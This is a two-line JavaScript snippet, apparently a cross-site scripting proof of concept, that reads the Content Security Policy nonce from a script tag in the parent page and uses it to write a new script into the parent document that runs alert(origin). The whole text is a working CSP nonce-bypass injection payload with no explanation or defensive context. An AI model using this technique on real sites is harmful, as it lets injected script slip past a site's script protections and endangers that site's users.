var lol = window.parent.document.getElementsByTagName("script")[0].nonce
window.parent.document.write("<script nonce="+lol+">alert(origin)</script>")